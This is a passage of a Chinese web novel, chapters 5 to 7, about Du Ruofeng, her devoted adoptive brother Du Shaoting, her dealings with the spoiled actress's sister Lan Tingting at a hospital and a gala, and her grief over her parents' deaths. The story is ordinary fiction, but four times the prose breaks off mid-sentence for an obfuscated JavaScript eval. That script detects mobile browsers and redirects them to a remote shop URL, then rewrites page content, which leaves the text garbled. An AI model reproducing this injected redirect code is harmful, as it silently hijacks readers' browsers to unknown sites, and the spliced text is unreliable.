杜若枫站在病房门口看到的,就是这么一幕,阿森站在她身后,沉默着,一言不发,像个隐形人,但兰婷婷还是一眼注意到了,打量林森一眼,个子高,肌肉紧实,身材很不错,脸嘛,说得过去,但比起娱乐圈的俊男美女们,差远了。 她有些嫌弃的移开目光。 “去联系一下私人医院,我要转院,快点,我一分钟都待不下去了。”她对杜若枫说。 杜若枫还没说话,林森先抬眸扫她一眼,那一眼看得兰婷婷异常不舒服,于是应激道:“听见没有啊?” 杜若枫扯了下唇角,径直走过去,在旁边的陪伴凳上坐下来,打量她一会儿:“看你中气十足,我就放心了。” “你听不懂我说话?”兰婷婷蹙眉,大小姐脾气发作,“我哥是不是对你太好让你忘了自己几斤几两?” 杜若枫本来就烦,这会儿更是烦的没边,搁以前她的脾气,高低要骂两句,但林森跟着,她突然就不想了,垂眸,说:“兰小姐,你好好休息,外面暴风雪,不宜挪动。” 她很少有脾气这么好的时候,甚至有些“低眉顺眼”,这让阿森忍不住看她一眼,抿了下唇。 兰婷婷烦躁地“啊”了好几声,指天骂地地把所有人都骂一遍,“一群蠢货,一个能听懂人话的都没有,都滚,滚滚滚!” 杜若枫深深看了她一眼。 一时想不明白,这种看不清形势的人。她到底哪来的自信,觉得自己能搞定钟奕明。 或者这世界就是没什么道理可言,所以处处透着荒谬。 杜若枫失去兴致,起身离开。 林森跟着走的时候,回过头看了一眼病床上的女人,然后出了病房就拿起手机,发了条消息出去:欢亚老板那个妹妹,去查一下。 杜若枫看到了,但眼神瞥一眼就移开了,到了车上才说一句:“你要跟杜少霆告状?” “没有,小姐。” 杜若枫撇了下嘴,没追问,只是说:“送我……去会所吧。” 杜少霆的会所,水云涧长期给她空着,用来招待朋友,别人去会所寻欢作乐,杜若枫进去连喝杯酒都要被经理再三劝阻,实在劝不了就上报给杜少霆。 但杜若枫没事还是会去,有时也很难讲是不是其实她是享受被他管控的。 突然不想回家了,唯一能想到的,那是和他有关的地方。 阿森没说什么,只是点了头。 这世上能管住她的,也只有那么一个人。 风雪交加,城市一片肃然的白,飘飞的雪花洋洋洒洒染白城市的每一个角落,扫雪车彻夜不停地处理道路积雪,但一些偏僻路段还是被冻上了冰。 阿森开车很稳,但这样的天气,车速宛如乌龟爬,杜若枫不知道什么时候睡着了,梦里梦到上学时候,学校离爸妈的别墅近,离她和杜少霆现在那个房子很远,父母去世后,他们搬到新房子,开车要半个小时,稍微堵车都要四十分钟了。 所以上学需要起很早,她坚持不愿意转学,也不愿意换房子,更不愿意住在学校,那会儿就是阿森送她,她起床困难户,每天都是卡着点爬起来,根本赶不上吃早餐,到车上补觉,阿森会打包早餐给她,她总是没有胃口,谎称到教室再吃,但总是不吃,杜少霆知道了,就命令林森每天必须监督她吃完饭才能从车上下去。 林森不敢命令她,每次都是愁容满面地蹙眉,说:“小姐,我没法跟杜总交代。” 杜若枫经常会心软。 那会儿就觉得,林森像个没脾气的机器人,跟杜少霆还挺像的,于是总是逗他说话。 结果没几天,司机就换人了,他去问为什么换人,没人告诉她。 然后她嚷着要阿森回来。 陈叔开车也很稳,但陈叔和杜少霆不像。 她其实更想杜少霆送她,但知道他很忙,不愿意再折腾他,只好固执地要林森。 再后来,是杜少霆的秘书偷偷告诉她,车上的监控实时连接杜少霆的手机,他把林森换了,是因为杜若枫最近对他太感兴趣。 他不允许她周围能出现任何左右她情绪的人。 青春期的少女怀揣着难以启齿的隐秘心事,偶尔表现的十分固执,她在一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051941|194816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早晨起得很早下楼去餐厅跟他一起吃了早饭,她问:“今天能让阿森哥送我吗?” 杜少霆微微蹙眉:“不能。” 杜若枫抿唇,不吭声,不妥协。 杜少霆神色缓和了一些,拙劣地解释:“我最近让他忙公司的事,不太能空的出时间,你觉得陈叔哪里不好?” 他知道她偶尔固执,但骨子里善良,知道他处理起人来毫不留情,多半会妥协。 杜若枫的确害怕自己稍微迟疑一下,他就直接让陈叔走人。 那是父母还在的时候留给她的司机了,多少还带着点旧日的影子,可供怀念。 于是杜若枫妥协了,垂下头,丧气地说:“我只是觉得,阿森每天跟着你,我至少可以问问他,你每天都在干什么。你太忙了,我一天到晚都看不到你,你也不理我。” 她的声音带着幽怨和委屈。 于是从那天开始,他每天都会陪她上下学,风雨无阻。 梦醒了,车子也到了会所。 杜若枫怔忡好几秒,隔着车窗,看漫天风雪下冰冷的建筑和窗口那窄窄的薄薄的光亮,联想到很多个孤独的瞬间,她和杜少霆相互支撑着,走到现在,除去感情那回事,她也永远永远都希望他幸福。 她突然说:“我想回家了。” 林森表情都没变,似乎她做什么都是正确的。 因为杜少霆就是这么以身作则的,所以他手底下的人,一个个的都把她的话当金科玉律。 车子又龟速前进,穿过城市萧索的街道,跨过漫漫的风雪长夜,推开那扇会让她内心变得柔软的门。 杜少霆还没睡,穿着睡衣坐在客厅里抱着笔记本处理邮件,看见她,似乎有些意外她会回来。 杜若枫依旧表情怔忡,身上被冷风吹透了,换了拖鞋,慢吞吞朝他走过来,低头看了一眼他的电脑屏幕,看到股票曲线和分屏的邮件箱拧了下眉:“工作是做不完的。” 她抬手合上了他的电脑,杜少霆并无异议,只是盯着她的脸,表情冷肃异常。 林森大概已经告诉他兰婷婷破口大骂的事了,他总是把自己的事看得轻描淡写,把她的事当成头等大事。 但杜若枫懒得解释了,只是大好的的机会实在不想浪费,于是她趁着自己心情正down,眼眶了蓄了点泪水,看着他:“哥,好想回到小时候,那时候你不会躲着我,我每次回家,都不用担心开门看不到你,我现在……有点害怕回家了。很怕一推开门,房间是空的,爸妈不在了,我只有你了。” 杜少霆沉默许久,指骨捏得发白,最后还是认命抬起手,曲指擦掉她眼角的泪水:“没躲你,最近公司忙。” 杜若枫垂下头,似乎一点都不信:“你总忙。” “以后不会了。”他保证。 杜若枫抬头看他:“明早醒来你会在吗?” “在。” 她见好就收,点点头:“那我今晚应该能睡个好觉了。” 她释然地笑,“哥,晚安。” 杜少霆看着她强颜欢笑的脸,只觉得自己该去死。 “晚安。” 5. Chapter 05 杜若枫一早上是被连环电话吵醒的,钟奕明下午要现身明珠天地给双c站台半小时,结束后有个小型的晚宴,在金庭顶楼的宴会厅,他大概能待二十多分钟。 兰婷婷不知道从哪里要了张邀请函,一定要去一下现场,亲自和钟奕明谈谈。 “我和周周姐熟悉,到时候约她经纪人方姐一起去跟他谈,他肯定会卖这个面子的。”她是这么跟兰瑞平说的。 兰瑞平大概知道自己亲妹妹什么德性,联系了杜若枫要她陪同,务必盯好她,别让她胡来。 “你跟钟奕明谈,条件随便他开,钱不是问题,只要他肯来,档期也不是问题,我们可以根据他的档期来,还有其他要求你自己看着办,我给你这个先斩后奏的权限。” 杜若枫:“……” 大概老板当久了都有种自己是皇帝的错觉。 “另外我给你也弄了张邀请函,你住哪里,我让人给你送过去。” 杜若枫:“。” 没有一句她能答的。 她被吵醒,脑仁疼得厉害,几欲开口嘲讽。 但凡开会讨论一下,认真了解一下自己邀约对象,也不至于这么胡闹。钟奕明这个人就根本不是钱能打动的,从小钱堆里泡出来的,你跟他说不差钱,跟对一个每天山珍海味的人说你家锅里有的是米有什么区别?人愿意理你才怪。 周周就是方晨辰的那个艺人,原名李佳慧,确实和钟奕明有过无疾而终的一段,到最后没能走下去的根本原因就是两家家世悬殊,方晨辰几乎是耳提面命告诫她靠什么都不如靠自己,她当时事业正盛,豪门根本不是最优选。 而最后的导火索就是一场晚宴,家里安排的交友宴,说白了就是相亲宴,请的女方都是非富即贵的家庭出身,钟奕明神色厌倦的游走其中,一个也没理。 方晨辰带着周周坐在角落里,也有过来搭话的,以往走到哪里都是众星拱月的大明星,在这种地方竟然没有认识她的人,礼貌地询问她的名字,然后不动声色打量,方晨辰递上名片,对方点点头,绽开一抹笑意:“原来是杜总公司的。” 他们也只认识杜少霆。 那天过后,周周就下决心和钟奕明划清界限了,家世的悬殊远比她想象的要更冷酷。 这件事过去大概有两年了,但钟奕明至今都讨厌这种场合,这还是今年他第一次参加这种活动,大概率是为了还人情,不然他经纪人可不敢替他接这种活儿。 兰婷婷大概是脑子被僵尸吃了才会选这么个蠢方案。 杜若枫还是做不到袖手旁观,于是不情不愿留了路宁车行的地址,然后自己开车去拿。 临走的时候杜少霆还没醒,第一次她在他前面走,昨晚好不容易把他留住,结果早上却是她有事。 她浑身怨气地在心里骂了一万遍兰婷婷才留了张纸条离开了。 晚宴快开始的时候,兰婷婷才知道杜若枫也要去,她正在酒店试礼服,心情不爽地咒骂一声。 她还有点低烧,脸颊泛着红晕,倒是平添几分俏皮和可爱,但周围人却无心欣赏,一个比一个紧张。 没见过这么难伺候的人,一身的大小姐脾气。 她从A市带来的助理是个临时拉来凑人数的实习生,结果干什么都不利索,她嫌烦,临时又请了一个助理,托熟人介绍,过来帮忙两天。 助理叫苗苗,恰巧以前就是跟周周的。 “跟着周周姐很幸福吧?她那么人美心善。”兰婷婷多少有点捧高踩低,哪怕对周周的前任助理都客气很多。 苗苗眼里很有活儿,一边收拾她换下来的衣服,一边帮化妆师整理桌面,闻言只是礼貌笑笑。 “累不累啊,她那种精益求精的人,要求也很会严格吧?” 苗苗还是笑,摇头:“不会。” 想套话,但这死丫头嘴还真严,她失去兴趣,皱着眉问:“跟方姐打电话没有,她什么时候来?” 苗苗说:“应该……就快到了。” 实际上方晨辰根本没来酒店,她直接去了宴会。 钟奕明是还人情,方晨辰愿意来,也是还人情。 方晨辰刚进来,就有人举着酒杯过来:“方姐,最近在忙什么呢,好久没见你了。” 方晨辰礼貌微笑,从侍应生托盘里拿过一杯香槟,和对方碰了下:“瞎忙,最近没什么好项目,干什么都觉得不提劲呢。顾总有好事记得想着我们家周周啊。” 对方哈哈大笑,“周周老师有你这样的经纪人,真是值了。” “实在是过誉了,还是得自己争气,不然我再有劲,又往哪里使,都是艺人自己优秀,我出去才说得上话不是。” “嗐,互相成就,互相成就。确实自己不争气怎么也没用,那可不就是越努力越不幸了。你看欢亚最近……太惨了。” 两个人对视而笑,谁也没说下去。 最近多事之秋,人人自危,各家都皮绷得紧,如果不是实在推脱不掉,方晨辰根本不想跑这一趟,今晚钟奕明来,这活动必然粉丝多媒体多,到处都是镜头。 不知道为什么,今天莫名心慌,总觉得要发生点什么事。 她今晚很谨慎,说话滴水不漏,以往乐于交际的她突然变得沉默起来。 相熟的品牌商务总监过来,问她最近周周有没有档期,想约她拍个广告。 “当然可以,待会儿宴会结束我联系你。” 对方深深叹口气,本来都已经拍好了,结果那演员最近负面新闻缠身,对方公司老总亲自过来联系,说子虚乌有,于是他拍板多等俩月,本来想着等舆论过去,结果最后舆论没消还升级了,他这边扛不住解约了,但对方也没钱赔,免不了又是一通拉扯。 方晨辰深表同情,但也无能为力。 “还是杜总有手段,眼光怎么能那么毒,做的任何决策似乎都没有出过错。” 方晨辰笑笑不说话,他们杜总可不止眼光毒。 正这么想着,突然看到个熟人。 杜小姐怎么来了…… 方晨辰一下子站直了,想去打个招呼,但和杜若枫对视的片刻,杜若枫轻摇了下头,于是她又顿在了原地。 在场的人应该除了钟奕明没有认识杜若枫的。 杜少霆对她的保护已经到了病态的地步,没有人不知道她,但真正见过她的却没几个,网上也从没流传出来过一张照片,所以哪怕知道她,面对面也很难认出来。 方晨辰悄悄给林森发了条消息,说:杜小姐在金庭。 林森回复:知道了。 她看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051942|194816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秒回的信息,忍不住挑了下眉,果然但凡关于杜小姐的,就没人敢不重视。 杜总再忙,在杜小姐的事上都不会含糊半分。 其实最近天娱也出了点事,有个流量女明星背着公司偷偷生了个孩子,孩子不知道是谁的,经纪人跟她是大学同学,俩人一起瞒天过海,想着孩子已经安置在国外,后续也没什么隐患,趁着最近乱,想以后能出国看孩子方便,就主动坦白了。 后来单独开小会的时候方晨辰还记得杜少霆的表情,那张脸还很年轻,但却给人一种强烈的强迫感。 以往他开口骂人的时候虽然让人害怕,但事情一般还有转圜余地,但那天他一言不发,眼神冰冷又锐利。 杜少霆到最后也没发火,给了两个方案:一,两个人一起滚,违约金按合同规定的再加一倍,公司可以替他们捂住这个事。二,三年对赌协议,她如约完成,换她的个人工作室完全独立出去。 俩人当然选了二。 “老板这次怎么这么好说话?”有人悄悄问。 “杜小姐的朋友。” “朋友?我怎么没听说过她还有这层关系?那不得在天娱横着走” “啧,不熟,统共也没说过几句话,但在杜总这,跟杜小姐搭上点关系的,干什么都容易开绿灯。” “那岂不是人人都想去攀关系?” “这确实,但你也得攀得上啊,不认识的你敢胡乱去攀,小心被打闷棍。” 那人悄声附耳说:“杜总接手杜家的时候才21岁,大学都没毕业,那会儿谁会把他放眼里,老杜总和杜太太去世得太突然,根本没来得及立遗嘱,能钻的空子可多了,谁都想来分一杯羹抢一块儿肥肉,他不仅能把家业守住,还能短短几年迅速扩张,你以为他是什么善茬?” 私底下没少人说他手上不干净。 衍城大半的娱乐业不管是实体还是虚拟,都有他的影子,衍城的高端会所业务发达,目标人群本来就固定,他入场最晚,却能迅速站起来,这几年生意不好做,别家都在赔钱,只有他稳赚,杜小姐经常去的那家叫Everglow,她常年在那里有个固定包房,有一回有人去闹事,非要杜若枫出来当面说。 杜少霆几乎当即就接到了消息,让她不用管。但杜若枫还是出去了,她身后跟着两个保镖,四五个会所的工作人员,闹事的人推了她一把,经理都快要哭了。 其中一个保镖突然和另一个保镖对视一眼,拖着人去了后门。 据说后来有人见他,在医院躺了一个多月。 所以后来有人夸张说,你惹杜少霆他不会给你留余地,但你惹他妹妹,他很可能不会给你留全尸。 那些保镖也不过是拿钱办事,不会卖命,但关于杜若枫的事,谁也不会怠慢,因为非常清楚,杜若枫出事,他们吃不了兜着走,但杜若枫只要没事,不管他们捅出来多大的篓子,杜少霆都会摆平。 他一直贯彻这个宗旨,从没变过。 不少人觉得他手上不干净,大概也是这个原因。 所以方晨辰在这个圈子里工作这么多年,练就了一颗大心脏,什么场合都能四平八稳装老道,但隔着人群看到兰婷婷在杜若枫面前颐指气使的时候,却无端端冒出一手心冷汗。 啧,怎么敢的。 6. Chapter 06 杜若枫小时候很喜欢参加这种宴会,热闹,快乐,到处都是人,每个人见到她都很热情,夸她漂亮,夸她伶俐,实在没词了,也会想方设法再把她从头到脚夸一遍。 小时候觉得是自己受人喜爱,长大了才知道,除去礼貌和对于金钱的敬畏,他们其实大多数人都不太爱关心她是圆的还是扁的。 爱是一项奢侈品,真正爱她的人其实很少。 就连那些至亲,都未必把她看在眼里过。 据说每个小孩在骨骼快速发育期会经历一次生长痛,那种极速的生长超越了生理承受极限,就会引发疼痛,她人生的生长痛在十七岁那年,父母的骤然离世,打破了她的象牙塔,她根本来不及适应,就被血腥残酷的一面震慑。 她突然觉得周围的一切都变得好残酷好陌生,那些围在她身边的“好人”,突然变成了长着獠牙的鬼魅,仿佛谁都想扒上来喝她一口血。 “以后你跟着二叔吧,公司二叔替你看着,你爸妈留下的东西我帮你保管,以后都还是你的。你还小,什么也不懂,不管你,二叔也于心不忍,我受点累没关系,咱们一家人,就是要互帮互助。”二叔最先赶来,站在病床前满脸悲戚。 “可怜的孩子,以后可怎么办。跟姑姑走吧,姑姑家里虽然条件比不上你家,但肯定不会缺你一口饭吃的。” “你可千万别信他们,都是惦记你那点遗产,你跟了他们,只要他们拿到监护权,你什么都保不住,真到了他们手里,以后你再想拿,可就拿不回来了。律师怎么跟你说的?保险公司的人联系过你了没有?你跟表舅说说,表舅帮你把把关。” …… 每个人都貌似关切地围在她身边,内心里却全是算计,她在一旁看着,只觉得麻木到连哭都没有力气。 好想爸爸妈妈,可再也没有人会摸着她的头说:“别怕,爸爸妈妈保护你。” 无论再痛苦再悲伤,都再也不可能投进妈妈的怀抱了。 一想到这里,她就对这些人充满了恨意。 恨他们贪婪,恨他们算计。 更恨的是,他们还活着,还可以贪婪,还可以算计。 对于骤然失亲的孩子,这样言辞恳切的话,很容易变成一剂安慰药,但她见过真正的爱是什么样子,只觉得他们面目可憎。 她不说话,无论怎么敲打也绝不松口,谁也拿她没辙。 那一阵她似乎经历了人性各种的缺点,那些假关心倒显得温和,不奏效之后他们又改变策略,那么大一块儿肥肉,谁都想啃一口,但他们自己却先争斗起来。 斗得你死我活,又想起来她,觉得必须要把她攥手里才安心。 她被人各种威逼利诱,甚至被恐吓,出门车子被撞,回家被砸窗户……像是在围追堵截一只幼兽,一边暗地里赶着她入穷巷,一边明面上关怀她,先让她惊惧,再给她怀抱,等她主动投靠其中一个。 每个人都在“关心”她,但每双眼睛里都是贪婪和欲望,谁的手都想伸进她的口袋里摸摸父母那点遗产。 她只是觉得恶心,厌倦。 每天唯一的安慰是陪在她身边的杜少霆,他不怎么说话,不太会安慰她,不会说很好听的话,给她的承诺都严谨且保守,不够动人,他只是陪着她,眼神里除了担忧还有心疼,可杜若枫却觉得那是她不可失去的温暖。 每次快要喘不过气的时候,抬头去找,他一定就在身边,告诉她:“别怕。” 其实他从小就是个很温和的人。 只是那时候才开始慢慢变了。 变得凶厉,变得咄咄逼人,变得寸步不让。 可是,怎么就走到现在这一步了呢? …… “这里一半人我都认识,但那又怎么样呢?他们用着你的时候笑脸相迎,遇到事的时候却躲的比谁都快。所以做人还是要靠自己,只有你站的足够高,别人才会捧着你。亲哥哥都不管用。”兰婷婷目光盯着人群中的每一个,眼神x光似地扫过去,识别哪个人有用,哪个人是没有用的。 她还在埋怨兰瑞平处处掣肘她。 自从去年她被迫退居幕后之后,兰瑞平一次都没有放权给她,她想做制片人,被否了。她想投资拍戏做监制,也被否了,她捏着公司的股权想套现出去单干,被臭骂一顿,就连想买辆车,都被限制了账户交易额,至今没能成功。 究其原因大概是……她从没做成过一件事。 拍戏的导演和对手演员,拍广告得罪广告公司,心比天高,但始终不肯低下头看一看自己是站在如何贫瘠的土地。 杜若枫点点头,深以为然,但又有些不以为然。 “你那是什么表情?”兰婷婷“哼”一声,“别以为我不知道你在心里偷偷骂我,也别觉得自己多了不起,你自己干了什么好事你自己清楚,你跟瑞扬的贺总很熟吧?你给了他什么好处,他处处帮你,喏,他就在那里,人老婆跟着呢,你敢过去打个招呼吗?” 那语气,分明怀疑俩人有什么不正当关系。 贺扬是《浮城》前期投资人之一,帮了杜若枫很大的忙。 说不靠杜少霆,其实还是靠了,但当时她并不知道杜少霆和贺扬认识。 兰婷婷看她表情怔忡,冷笑一声,突然拉着她的手腕往那边去:“贺总,贺太太。上次您跟我哥一块骑马,我就在旁边呢,您可能不记得我了,因为我不会骑马,也不好意思打扰你们谈正事。但我们杜制片你肯定认识,《浮城》的项目多亏了您呢!”说完,她笑盈盈地看向贺太太,带着一点挑拨离间的意味。 杜若枫只觉得厌烦。 因为她确实和贺扬的妻子有点……误解,她不知道贺扬的老婆是谁,今天第一次知道,但却意外是个熟人。 那还是大学时候,她不习惯跟人一起住,打了报告住在校外,离学校近,但条件一般,为了能多睡懒觉,她宁愿舍弃一些舒适度,楼栋人员杂乱,但还在可忍受范围,邻居小姐姐更是漂亮温柔,偶尔看见她抱着小狗出去玩。 那是一只很漂亮的约克夏,扎了两个漂亮的辫子和蝴蝶结,偶尔楼道里看见,她会盯着看。 她小时候也养过一只宠物,叫bobi,是只很特别的小猫,那是杜少霆来她家的那一年养的,他来的第二天,小猫误闯他们的院子,翻进了她的窗台,被困在夹缝了,倔强地看着她,它的毛发被晨露打湿,纯白的四肢被泥水弄得脏兮兮的,像第一次站在她家客厅的杜少霆,沉默、倔强、局促,带着点坚硬的破碎感。 于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051943|194816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她把它养了起来。 bobi死在妈妈去世的那一年,遗体停灵在中厅,它半夜钻进去,蜷缩在冰棺的一角,在睡梦中死去了。 以前杜若枫总叫它二哥,开玩笑说这是杜少霆亲弟弟,性格和脾气简直一模一样。 她的家人,统统死在了那个灰暗的十七岁。 后来杜少霆看她伤心,试图想要再给她养一只,但杜若枫却不敢了,她承受不了分别。 那只约克夏让她想起了bobi,大概看得太久了,小姐姐说:“你可以摸它,或者也可以抱抱它,它很乖,不认生。” 杜若枫和她交换了联系方式。 赵亦旋。 她不是学生,也不是老师,甚至不在附近上班,只是过来度假的。 为什么会来郊区这个鸟不拉屎的地方,那谁知道呢。 直到有一天,杜若枫在杜少霆的车上看到那只约克夏。 “朋友的。”他说。 “女性朋友?”她强忍着不安,旁敲侧击地问,“我认识吗。” “男的。”杜少霆只回答这么一句,“你不认识。” “哦。”那是第一次让杜若枫产生有一天他可能和别人组建家庭的危机感。 杜若枫的脸垮得几乎要掉地上,企图他能多解释几句,可到最后他也没有再多说一句。 再后来他见过好多次他带着那条狗,甚至在衍城也见过,他还带去过办公室。 她甚至都不需要旁敲侧击赵亦旋,某次电梯里遇上,她盯着对方看,对方回视她,笑的温和:“小狗被我男朋友带走了,最近可能没法给你玩了。” 在嫉妒几乎要把她腐蚀的时候,她把赵亦旋堵在了楼道里。 她说:“你和杜少霆什么时候认识的?” 赵亦旋有些错愕,但半晌突然笑了,问:“好巧,世界真小啊。你和杜少霆……?” 杜若枫一向不愿意只把他当哥哥,更不愿意在“情敌”面前用一句哥哥模糊掉她的愤怒,她没有正面回答:“我喜欢他。” 赵亦旋表情更加错愕,半晌,点点头:“我知道了。” 一拳打在棉花上。 杜若枫感到泄气。 后来很想再次面对面说清楚,但第二天赵亦旋就离开了,除了名字,她对她一无所知,她也再没见到那只约克夏。 直到现在,杜若枫才倏忽想明白,赵亦旋说的男朋友是贺扬,而贺扬和杜少霆是朋友。 杜少霆是从贺扬那里拿的狗。 但知道这些并没有让她松一口气,反而有片刻的迷茫。 赵亦旋很早就知道了,贺扬知道吗? 那……杜少霆知不知道? 大概是知道的吧! 其实她总感觉他从很早就知道了,他只是无动于衷。 但再次证实这件事,她还是感到难言的钝痛。 赵亦旋微笑着看杜若枫,伸手:“若若?好久不见。” 喊的她小名,要么贺扬跟她说了很多,要么她和杜少霆也很熟。 杜若枫心不在焉,但还是点点头,回握对方的手:“好久不见。” 贺扬笑了下:“你哥放我鸽子说要在家陪你,结果你在这儿,那他去陪谁了?” 7. Chapter 07 杜少霆醒来看到了杜若枫的纸条,她说:车钥匙我给你藏起来了,起来给我打个电话,我再告诉你在哪儿。 他无奈笑了下,小时候也没见这么幼稚。 他电话拨过去的时候她正在路宁那里吃早餐,两个人坐在街边的早餐店,环境嘈杂。 “在吃什么?”他问。 杜若枫一边拍照片给发过来,一边回答:“鱼片粥。” “吃这么点。”他的声音略显严肃。 杜若枫便笑了:“不知道的还以为在跟我爸打电话。” 杜少霆意味不明地“嗯”一声。 其实他的确又当爹又当妈又当哥哥偶尔还要充当一下人生导师的角色。 这么想着,杜若枫都觉得累。 于是她的笑容便淡了,猛不丁说一句:“其实你这几年过得很累吧。”所以喜欢不起来。 杜少霆蹙眉:“没有,不要乱想。” 家里很空,她不在的时候寂静得仿佛末日之地。 杜若枫不说话了,过了好一会儿才又开口:“哥,吃完饭再去公司。” 他心不在焉“嗯”一声。 杜若枫显然不信他:“我都给你汇报了,你待会儿也拍照给我看,我想看你吃了什么。” 杜少霆停顿片刻:“好。” 衣服都换好了,他又脱掉了衬衣和手表,套上一件家居服,进了厨房。 三明治和牛奶,随便对付一下,拍照给她看的时候,她不知道有意无意,随口夸一句:手很好看。 他沉默,不知道怎么回答,索性不回。 她却不依不饶:又不理我。 他心烦意乱,扣下手机。 消息叮咚叮咚响个不停,他吃完饭,心烦意乱,最后还是看了一眼。 【以前我觉得我可以对你做任何事,因为你说我可以。】 【慢慢的我不是很自信了,我也怕拖累你,让你不舒服。】 【你疼我,我是知道的,但我的心不清白,也是无法骗你骗我自己的。】 【可能我话又说多了。】 【可能我又在为难你。】 【你什么都不说,我只能这样反复地猜。】 【我有时候想,我要亲口听你说你不爱我,说你没有任何想法,说你厌恶我产生这种非分之想。可你这样说了,我又不确定我是不是能承认。说不上是对你更残酷,还是对我更残酷。】 【好吧,我还是在为难你,因为我做不到离开你,只能寄希望你推开我。】 【但想想,你如果忍心的话,我们也不会到这一步。】 【我不知道怎么办了,哥。】 【你教教我吧!一向都是你教我。】 杜少霆依旧没回,只是林森接到他的时候,明显感觉到他身上浓重的低气压。 原本给自己放了半天假,杜若枫不在,他便又去公司了。 临近年末,又遇上暴风雪,几个部门已经放假,其他也大多居家办公,倒是总裁办还兢兢业业坚守岗位。 遇上个卷王老板,底下人也只能苦不堪言。 唯一能给点安慰的是杜少霆这人还算大方,补贴和奖金给的丰厚。 林森很少来公司,跟私人行程比较多,今天送老板来,发现老板又换秘书了,腰细腿长个子高,走起路来摇曳生姿,他看了一眼,忍不住轻叹一声,微微摇了下头。 小姐知道,又该闹了。 她闹脾气也不吵闹,只是一味地折腾自己逼杜少霆就范。 这一招屡试不爽。 苏薇等在电梯口,一路跟着他到办公室去,抢夺这片刻的时间插进去一些可能并不必要但很重要的事,“杜总,天娱那边邀请您参加年会,今年多了不少新面孔,潜力都不错。您看要不要还是露一下面。” 之前说了不去。 苏秘书看到他无动于衷的脸,解释:“有一个是杜小姐的……朋友。” 特意提了,那就不是普通的朋友。 杜少霆突兀站定,侧目,眼神凌厉,吓得秘书大气不敢喘一下,心跳差点停滞。 她早有准备地递上文件夹。 “这是他的资料。” 秘书跟了杜少霆不到两个月,对自己的老板还算有一些浅显的理解。 他是个很会抓大放小的人,看起来严厉冷冰不近人情,但只要不犯蠢,真正为他做起事来还算轻松。 很多琐事和不清不楚的事捅到他面前是会挨骂的,一些项目汇报递到他面前,也不过是压在文件堆里吃灰的结局。 他脑海里似乎有一块儿精密仪器在时时刻刻不停地计算如何把每一个人每一件事都利用到极致,包括他自己。 但唯独杜小姐的事,没有小事。 宋思明。 天娱下半年新签的艺人,人气不高,因为性格有点过于柔和,接受过高等教育,年少家世优越,成年后又家道中落,以至于身上有些自卑和自信杂糅的特质,内部评估给了挺高的评价,可塑性非常强,但隐患也不少,团队给他制定了一个三年计划,属于近两年打算重点打造的艺人。 天娱是杜少霆一手创办的,但步入正轨后就不怎么插手了,目前负责人是陆铮。 “把陆铮给我叫来。”杜少霆脸色铁青。 - 雪又大了点,宴会厅却纸醉金迷,温暖如春。 杜若枫因为突然情绪的低沉变得消沉和懒倦,她有着怔怔地穿过大厅,在偏厅外的阳台上靠着,狂风漫卷,天冷得呵气成冰,侍应生看到穿着礼服的小姐站在风雪里发呆,吓得脸色发白,生怕出点什么事,去抱了一沓厚厚的毯子,走过去:“天冷,您披一下吧。” 美人冰冷的面容带着些许疏离和冷淡,微笑起来却又春水化冰:“谢谢,麻烦你了。” “您客气了,应该的,请问您需要什么帮助吗?”侍应生关切地看着她。 “啊,我没事,只是心情不大好,谢谢你的毯子,很温暖。不用管我了,我待会儿就离开这里。”她再次微笑,礼貌谦和,说出的话让人信服,于是侍应生点头,“那就不打扰您了。” 人走了,露台就剩她一人,木质的栏杆也冰得像铁,她却抓握着,浑然未觉。 记忆中最冷的冬天在五岁那年,那一年年初到年尾,她不是在生病就是在出事故。 倒也没有什么离奇的故事,只是各种巧合,凑巧都挤在了那一年。 过分的凑巧让人不安。 奶奶带她去见了相熟的大师,大师说了什么,她也听不懂,只隐约记得是说她命格里本该是双生,缺了一半的魂魄,所以残缺不全,身体羸弱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051944|194816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命中孤苦。 给了破解之法,要家里给她找个八字相合的来压一压,填补她缺掉的那一半。 大师给了一个十分具体的八字和方位。 